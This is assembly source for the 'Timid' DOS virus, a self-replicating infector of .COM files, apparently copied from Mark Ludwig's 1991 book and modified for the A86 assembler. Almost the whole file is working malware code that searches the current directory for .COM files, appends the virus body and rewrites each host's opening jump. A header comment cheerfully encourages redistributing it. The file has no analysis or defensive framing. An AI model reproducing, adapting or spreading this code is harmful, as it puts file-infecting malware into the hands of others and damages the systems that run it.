;TIMID VIRUS asm by Mark Ludwig in 1991.
;
;-infects .coms ************SPAM/BANNEAR************ in current directory unless called by dos path statement
;-announces each file infected.
;297bytes=eff. length
;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses"
;Slightly modified for A86 assembly.
;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus
;-fixed bug in code reprinted in his book.
;all infected files will have VI at byte position 4-5.
;Mark Ludwig claims copyright on this virus and said he will
; sue anyone distributing his viruses around.  I say have fun!.
main    segment byte
        assume cs:main, ds:main, ss:nothing
        org 100h
host:
        jmp near ptr virus_start
        db 'VI'                 ;identifies virus
        mov ah, 4ch
        mov al, 0
        int 21h
virus:
comfile db      '*.com',0
virus_start:
        call get_start
get_start:
        sub word ptr [vir_start], offset get_start - offset virus
        mov dx, offset dta
        mov ah, 1ah
        int 21h
        call find_file
        jnz exit_virus
        call infect
        mov dx, offset fname
        mov [handle] b,24h
        mov ah, 9
        int 21h
exit_virus:                             ;bug was here in book
        mov dx, 80h
        mov ah, 1ah
        int 21h
        mov bx, [vir_start]
        mov ax, word ptr [bx+(offset start_code)-(offset virus)]
        mov word ptr [host], ax
        mov ax, word ptr [bx+(offset start_code)-(offset virus)+2]
        mov word ptr [host+2],ax
        mov al, byte ptr [bx+(offset start_code)-(offset virus)+4]
        mov byte ptr [host+4], al
        mov [vir_start], 100h
        ret
start_code:
        nop
        nop
        nop
        nop
        nop
find_file:
        mov dx, [vir_start]
        add dx, offset comfile-offset virus
        mov cx, 3fh
        mov ah, 4eh
        int 21h
ff_loop:
        or al,al
        jnz ff_done
        call file_ok
        jz ff_done
        mov ah, 4fh
        int 21h
        jmp ff_loop
ff_done:
        ret
file_ok:
        mov dx, offset fname
        mov ax, 3d02h
        int 21h
        jc fok_nzend
        mov bx, ax
        push bx
        mov cx, 5
        mov dx, offset start_image
        mov ah, 3fh
        int 21h
        pop bx
        mov ah, 3eh
        int 21h
        mov ax, word ptr [fsize]
        add ax, offset endvirus - offset virus
        jc fok_nzend
        cmp byte ptr [start_image], 0e9h
        jnz fok_zend
fok_nzend:
        mov al, 1
        or al,al
        ret
fok_zend:
        xor al,al
        ret
infect:
        mov dx, offset fname
        mov ax, 3d02h
        int 21h
        mov word ptr [handle],ax
        xor cx,cx
        mov dx,cx
        mov bx, word ptr [handle]
        mov ax, 4202h
        int 21h
        mov cx, offset final -offset virus
        mov dx, [vir_start]
        mov bx, word ptr [handle]
        mov ah, 40h
        int 21h
        xor cx,cx
        mov dx, word ptr [fsize]
        add dx, offset start_code-offset virus
        mov bx, word ptr [handle]
        mov ax, 4200h
        int 21h
        mov cx, 5
        mov bx, word ptr [handle]
        mov dx, offset start_image
        mov ah, 40h
        int 21h
        xor cx,cx
        mov dx,cx
        mov bx, word ptr [handle]
        mov ax, 4200h
        int 21h
        mov bx, [vir_start]
        mov byte ptr [start_image], 0e9h
        mov ax, word ptr [fsize]
        add ax, offset virus_start-offset virus-3
        mov word ptr [start_image+1], ax
        mov word ptr [start_image+3], 4956h
        mov cx, 5
        mov dx, offset start_image
        mov bx, word ptr [handle]
        mov ah, 40h
        int 21h
        mov bx, word ptr [handle]
        mov ah, 3eh
        int 21h
        ret
final:
;data area
endvirus equ $ + 212
org 0ff2ah
dta db 1ah dup (?)
fsize dw 0,0
fname db 13 dup (?)
handle dw 0
start_image db 0,0,0,0,0
vstack dw 50h dup (?)
vir_start dw (?)
main ends
end     host
;end of timid.asm